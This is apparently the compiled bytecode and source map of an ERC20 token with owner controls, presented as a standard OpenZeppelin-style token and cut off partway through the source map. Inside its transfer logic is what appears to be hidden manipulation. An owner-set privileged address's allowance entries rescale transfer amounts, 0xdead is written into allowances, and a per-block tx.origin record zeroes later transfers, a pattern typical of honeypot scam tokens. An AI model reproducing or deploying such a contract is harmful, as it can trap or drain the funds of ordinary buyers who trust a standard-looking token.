ffffffffffff1681526020019081526020015f2054610f019190611441565b10610f1657610f0f826110aa565b9050610f1a565b8190505b9392505050565b610fef60025f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036110645761dead60025f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600160035f43328760405160200161107e93929190611895565b6040516020818303038152906040528051906020012081526020019081526020015f2081905550505050565b5f620765f0610978836110bd91906119c7565b6110c79190611a35565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156111055780820151818401526020810190506110ea565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61112a826110ce565b61113481856110d8565b93506111448185602086016110e8565b61114d81611110565b840191505092915050565b5f6020820190508181035f8301526111708184611120565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111a58261117c565b9050919050565b6111b58161119b565b81146111bf575f80fd5b50565b5f813590506111d0816111ac565b92915050565b5f819050919050565b6111e8816111d6565b81146111f2575f80fd5b50565b5f81359050611203816111df565b92915050565b5f806040838503121561121f5761121e611178565b5b5f61122c858286016111c2565b925050602061123d858286016111f5565b9150509250929050565b5f8115159050919050565b61125b81611247565b82525050565b5f6020820190506112745f830184611252565b92915050565b611283816111d6565b82525050565b5f60208201905061129c5f83018461127a565b92915050565b5f805f606084860312156112b9576112b8611178565b5b5f6112c6868287016111c2565b93505060206112d7868287016111c2565b92505060406112e8868287016111f5565b9150509250925092565b5f60ff82169050919050565b611307816112f2565b82525050565b5f6020820190506113205f8301846112fe565b92915050565b5f6020828403121561133b5761133a611178565b5b5f611348848285016111c2565b91505092915050565b61135a8161119b565b82525050565b5f6020820190506113735f830184611351565b92915050565b5f806040838503121561138f5761138e611178565b5b5f61139c858286016111c2565b92505060206113ad858286016111c2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113fb57607f821691505b60208210810361140e5761140d6113b7565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61144b826111d6565b9150611456836111d6565b925082820190508082111561146e5761146d611414565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6114ce6025836110d8565b91506114d982611474565b604082019050919050565b5f6020820190508181035f8301526114fb816114c2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61155c6026836110d8565b915061156782611502565b604082019050919050565b5f6020820190508181035f83015261158981611550565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6115ea6024836110d8565b91506115f582611590565b604082019050919050565b5f6020820190508181035f830152611617816115de565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6116786022836110d8565b91506116838261161e565b604082019050919050565b5f6020820190508181035f8301526116a58161166c565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6116e0601d836110d8565b91506116eb826116ac565b602082019050919050565b5f6020820190508181035f83015261170d816116d4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61176e6025836110d8565b915061177982611714565b604082019050919050565b5f6020820190508181035f83015261179b81611762565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6117fc6023836110d8565b9150611807826117a2565b604082019050919050565b5f6020820190508181035f830152611829816117f0565b9050919050565b5f819050919050565b61184a611845826111d6565b611830565b82525050565b5f8160601b9050919050565b5f61186682611850565b9050919050565b5f6118778261185c565b9050919050565b61188f61188a8261119b565b61186d565b82525050565b5f6118a08286611839565b6020820191506118b0828561187e565b6014820191506118c0828461187e565b601482019150819050949350505050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61192b6026836110d8565b9150611936826118d1565b604082019050919050565b5f6020820190508181035f8301526119588161191f565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119936020836110d8565b915061199e8261195f565b602082019050919050565b5f6020820190508181035f8301526119c081611987565b9050919050565b5f6119d1826111d6565b91506119dc836111d6565b92508282026119ea816111d6565b91508282048414831517611a0157611a00611414565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a3f826111d6565b9150611a4a836111d6565b925082611a5a57611a59611a08565b5b82820490509291505056fea26469706673582212200d4ef72ee760e7c045131180b90208de02d3fc1bc06a7aa4d74b25d344d6388664736f6c63430008140033

0x608060405234801561000f575f80fd5b50600436106100f3575f3560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb14610287578063d71265c7146102b7578063dd62ed3e146102d3578063f2fde38b14610303576100f3565b8063715018a6146102115780638da5cb5b1461021b57806395d89b4114610239578063a457c2d714610257576100f3565b806323b872dd116100d157806323b872dd14610163578063313ce5671461019357806339509351146101b157806370a08231146101e1576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff61031f565b60405161010c9190611158565b60405180910390f35b61012f600480360381019061012a9190611209565b6103af565b60405161013c9190611261565b60405180910390f35b61014d6103d1565b60405161015a9190611289565b60405180910390f35b61017d600480360381019061017891906112a2565b6103da565b60405161018a9190611261565b60405180910390f35b61019b610408565b6040516101a8919061130d565b60405180910390f35b6101cb60048036038101906101c69190611209565b610410565b6040516101d89190611261565b60405180910390f35b6101fb60048036038101906101f69190611326565b610446565b6040516102089190611289565b60405180910390f35b61021961048c565b005b61022361049f565b6040516102309190611360565b60405180910390f35b6102416104c6565b60405161024e9190611158565b60405180910390f35b610271600480360381019061026c9190611209565b610556565b60405161027e9190611261565b60405180910390f35b6102a1600480360381019061029c9190611209565b6105cb565b6040516102ae9190611261565b60405180910390f35b6102d160048036038101906102cc9190611326565b6105ed565b005b6102ed60048036038101906102e89190611379565b61066e565b6040516102fa9190611289565b60405180910390f35b61031d60048036038101906103189190611326565b6106f0565b005b60606006805461032e906113e4565b80601f016020809104026020016040519081016040528092919081815260200182805461035a906113e4565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f806103b9610772565b90506103c6818585610779565b600191505092915050565b5f600454905090565b5f806103e4610772565b90506103f185828561093c565b6103fc8585856109c7565b60019150509392505050565b5f6012905090565b5f8061041a610772565b905061043b81858561042c858961066e565b6104369190611441565b610779565b600191505092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610494610c80565b61049d5f610cfe565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546104d5906113e4565b80601f0160208091040260200160405190810160405280929190818152602001828054610501906113e4565b801561054c5780601f106105235761010080835404028352916020019161054c565b820191905f5260205f20905b81548152906001019060200180831161052f57829003601f168201915b5050505050905090565b5f80610560610772565b90505f61056d828661066e565b9050838110156105b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a9906114e4565b60405180910390fd5b6105bf8286868403610779565b60019250505092915050565b5f806105d5610772565b90506105e28185856109c7565b600191505092915050565b6105f561049f565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461062b575f80fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6106f8610c80565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075d90611572565b60405180910390fd5b61076f81610cfe565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de90611600565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084c9061168e565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161092f9190611289565b60405180910390a3505050565b5f610947848461066e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109c157818110156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa906116f6565b60405180910390fd5b6109c08484848403610779565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2c90611784565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610aa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9a90611812565b60405180910390fd5b5f610aaf848484610dbf565b90505f60035f433287604051602001610aca93929190611895565b6040516020818303038152906040528051906020012081526020019081526020015f205414610af7575f90505b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7290611941565b60405180910390fd5b82810360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c669190611289565b60405180910390a3610c79858585610f21565b5050505050565b610c88610772565b73ffffffffffffffffffffffffffffffffffffffff16610ca661049f565b73ffffffffffffffffffffffffffffffffffffffff1614610cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf3906119a9565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f61dead60025f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f019190611441565b10610f1657610f0f826110aa565b9050610f1a565b8190505b9392505050565b610fef60025f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036110645761dead60025f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600160035f43328760405160200161107e93929190611895565b6040516020818303038152906040528051906020012081526020019081526020015f2081905550505050565b5f620765f0610978836110bd91906119c7565b6110c79190611a35565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156111055780820151818401526020810190506110ea565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61112a826110ce565b61113481856110d8565b93506111448185602086016110e8565b61114d81611110565b840191505092915050565b5f6020820190508181035f8301526111708184611120565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111a58261117c565b9050919050565b6111b58161119b565b81146111bf575f80fd5b50565b5f813590506111d0816111ac565b92915050565b5f819050919050565b6111e8816111d6565b81146111f2575f80fd5b50565b5f81359050611203816111df565b92915050565b5f806040838503121561121f5761121e611178565b5b5f61122c858286016111c2565b925050602061123d858286016111f5565b9150509250929050565b5f8115159050919050565b61125b81611247565b82525050565b5f6020820190506112745f830184611252565b92915050565b611283816111d6565b82525050565b5f60208201905061129c5f83018461127a565b92915050565b5f805f606084860312156112b9576112b8611178565b5b5f6112c6868287016111c2565b93505060206112d7868287016111c2565b92505060406112e8868287016111f5565b9150509250925092565b5f60ff82169050919050565b611307816112f2565b82525050565b5f6020820190506113205f8301846112fe565b92915050565b5f6020828403121561133b5761133a611178565b5b5f611348848285016111c2565b91505092915050565b61135a8161119b565b82525050565b5f6020820190506113735f830184611351565b92915050565b5f806040838503121561138f5761138e611178565b5b5f61139c858286016111c2565b92505060206113ad858286016111c2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113fb57607f821691505b60208210810361140e5761140d6113b7565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61144b826111d6565b9150611456836111d6565b925082820190508082111561146e5761146d611414565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6114ce6025836110d8565b91506114d982611474565b604082019050919050565b5f6020820190508181035f8301526114fb816114c2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61155c6026836110d8565b915061156782611502565b604082019050919050565b5f6020820190508181035f83015261158981611550565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6115ea6024836110d8565b91506115f582611590565b604082019050919050565b5f6020820190508181035f830152611617816115de565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6116786022836110d8565b91506116838261161e565b604082019050919050565b5f6020820190508181035f8301526116a58161166c565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6116e0601d836110d8565b91506116eb826116ac565b602082019050919050565b5f6020820190508181035f83015261170d816116d4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61176e6025836110d8565b915061177982611714565b604082019050919050565b5f6020820190508181035f83015261179b81611762565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6117fc6023836110d8565b9150611807826117a2565b604082019050919050565b5f6020820190508181035f830152611829816117f0565b9050919050565b5f819050919050565b61184a611845826111d6565b611830565b82525050565b5f8160601b9050919050565b5f61186682611850565b9050919050565b5f6118778261185c565b9050919050565b61188f61188a8261119b565b61186d565b82525050565b5f6118a08286611839565b6020820191506118b0828561187e565b6014820191506118c0828461187e565b601482019150819050949350505050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61192b6026836110d8565b9150611936826118d1565b604082019050919050565b5f6020820190508181035f8301526119588161191f565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119936020836110d8565b915061199e8261195f565b602082019050919050565b5f6020820190508181035f8301526119c081611987565b9050919050565b5f6119d1826111d6565b91506119dc836111d6565b92508282026119ea816111d6565b91508282048414831517611a0157611a00611414565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a3f826111d6565b9150611a4a836111d6565b925082611a5a57611a59611a08565b5b82820490509291505056fea26469706673582212200d4ef72ee760e7c045131180b90208de02d3fc1bc06a7aa4d74b25d344d6388664736f6c63430008140033

81:130:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;936:98:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3339:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2028:106;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4098:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1873:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4779:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2192:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2458:101:0;;;:::i;:::-;;1835:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1147:102:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5500:427;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2513:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2708:116;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2882:149;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2708:198:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;936:98:1;990:13;1022:5;1015:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;936:98;:::o;3339:197::-;3422:4;3438:13;3454:12;:10;:12::i;:::-;3438:28;;3476:32;3485:5;3492:7;3501:6;3476:8;:32::i;:::-;3525:4;3518:11;;;3339:197;;;;:::o;2028:106::-;2089:7;2115:12;;2108:19;;2028:106;:::o;4098:286::-;4225:4;4241:15;4259:12;:10;:12::i;:::-;4241:30;;4281:38;4297:4;4303:7;4312:6;4281:15;:38::i;:::-;4329:27;4339:4;4345:2;4349:6;4329:9;:27::i;:::-;4373:4;4366:11;;;4098:286;;;;;:::o;1873:91::-;1931:5;1955:2;1948:9;;1873:91;:::o;4779:234::-;4867:4;4883:13;4899:12;:10;:12::i;:::-;4883:28;;4921:64;4930:5;4937:7;4974:10;4946:25;4956:5;4963:7;4946:9;:25::i;:::-;:38;;;;:::i;:::-;4921:8;:64::i;:::-;5002:4;4995:11;;;4779:234;;;;:::o;2192:125::-;2266:7;2292:9;:18;2302:7;2292:18;;;;;;;;;;;;;;;;2285:25;;2192:125;;;:::o;2458:101:0:-;1728:13;:11;:13::i;:::-;2522:30:::1;2549:1;2522:18;:30::i;:::-;2458:101::o:0;1835:85::-;1881:7;1907:6;;;;;;;;;;;1900:13;;1835:85;:::o;1147:102:1:-;1203:13;1235:7;1228:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1147:102;:::o;5500:427::-;5593:4;5609:13;5625:12;:10;:12::i;:::-;5609:28;;5647:24;5674:25;5684:5;5691:7;5674:9;:25::i;:::-;5647:52;;5737:15;5717:16;:35;;5709:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;5828:60;5837:5;5844:7;5872:15;5853:16;:34;5828:8;:60::i;:::-;5916:4;5909:11;;;;5500:427;;;;:::o;2513:189::-;2592:4;2608:13;2624:12;:10;:12::i;:::-;2608:28;;2646;2656:5;2663:2;2667:6;2646:9;:28::i;:::-;2691:4;2684:11;;;2513:189;;;;:::o;2708:116::-;2782:7;:5;:7::i;:::-;2768:21;;:10;:21;;;2759:32;;;;;;2810:7;2801:6;;:16;;;;;;;;;;;;;;;;;;2708:116;:::o;2882:149::-;2971:7;2997:11;:18;3009:5;2997:18;;;;;;;;;;;;;;;:27;3016:7;2997:27;;;;;;;;;;;;;;;;2990:34;;2882:149;;;;:::o;2708:198:0:-;1728:13;:11;:13::i;:::-;2816:1:::1;2796:22;;:8;:22;;::::0;2788:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2871:28;2890:8;2871:18;:28::i;:::-;2708:198:::0;:::o;588:96::-;641:7;667:10;660:17;;588:96;:::o;9657:370:1:-;9805:1;9788:19;;:5;:19;;;9780:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9885:1;9866:21;;:7;:21;;;9858:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9967:6;9937:11;:18;9949:5;9937:18;;;;;;;;;;;;;;;:27;9956:7;9937:27;;;;;;;;;;;;;;;:36;;;;10004:7;9988:32;;9997:5;9988:32;;;10013:6;9988:32;;;;;;:::i;:::-;;;;;;;;9657:370;;;:::o;10308:441::-;10438:24;10465:25;10475:5;10482:7;10465:9;:25::i;:::-;10438:52;;10524:17;10504:16;:37;10500:243;;10585:6;10565:16;:26;;10557:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10667:51;10676:5;10683:7;10711:6;10692:16;:25;10667:8;:51::i;:::-;10500:243;10428:321;10308:441;;;:::o;6380:956::-;6522:1;6506:18;;:4;:18;;;6498:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6598:1;6584:16;;:2;:16;;;6576:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6651:15;6669:38;6690:4;6696:2;6700:6;6669:20;:38::i;:::-;6651:56;;6788:1;6722:4;:62;6754:12;6768:9;6779:2;6737:45;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;6727:56;;;;;;6722:62;;;;;;;;;;;;:67;6718:109;;6815:1;6805:11;;6718:109;6837:19;6859:9;:15;6869:4;6859:15;;;;;;;;;;;;;;;;6837:37;;6907:6;6892:11;:21;;6884:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7022:6;7008:11;:20;6990:9;:15;7000:4;6990:15;;;;;;;;;;;;;;;:38;;;;7222:7;7205:9;:13;7215:2;7205:13;;;;;;;;;;;;;;;;:24;;;;;;;;;;;7270:2;7255:26;;7264:4;7255:26;;;7274:6;7255:26;;;;;;:::i;:::-;;;;;;;;7292:37;7312:4;7318:2;7322:6;7292:19;:37::i;:::-;6488:848;;6380:956;;;:::o;1993:130:0:-;2067:12;:10;:12::i;:::-;2056:23;;:7;:5;:7::i;:::-;:23;;;2048:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1993:130::o;3060:187::-;3133:16;3152:6;;;;;;;;;;;3133:25;;3177:8;3168:6;;:17;;;;;;;;;;;;;;;;;;3231:8;3200:40;;3221:8;3200:40;;;;;;;;;;;;3123:124;3060:187;:::o;12200:319:1:-;12325:7;12403:6;12376:11;:19;12388:6;;;;;;;;;;;12376:19;;;;;;;;;;;;;;;:23;12396:2;12376:23;;;;;;;;;;;;;;;;12348:11;:19;12360:6;;;;;;;;;;;12348:19;;;;;;;;;;;;;;;:25;12368:4;12348:25;;;;;;;;;;;;;;;;:51;;;;:::i;:::-;:61;12344:169;;12432:26;12451:6;12432:18;:26::i;:::-;12425:33;;;;12344:169;12496:6;12489:13;;12200:319;;;;;;:::o;11337:279::-;11490:5;11463:11;:19;11475:6;;;;;;;;;;;11463:19;;;;;;;;;;;;;;;:23;11483:2;11463:23;;;;;;;;;;;;;;;;:32;11459:73;;11524:6;11498:11;:19;11510:6;;;;;;;;;;;11498:19;;;;;;;;;;;;;;;:23;11518:2;11498:23;;;;;;;;;;;;;;;:32;;;;11459:73;11608:1;11541:4;:64;11573:12;11587:9;11598:4;11556:47;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;11546:58;;;;;;11541:64;;;;;;;;;;;:68;;;;11337:279;;;:::o;9137:97::-;9198:7;9226:6;9219:4;9215:1;:8;;;;:::i;:::-;:17;;;;:::i;:::-;9208:24;;9137:97;;;:::o;7:99:4:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5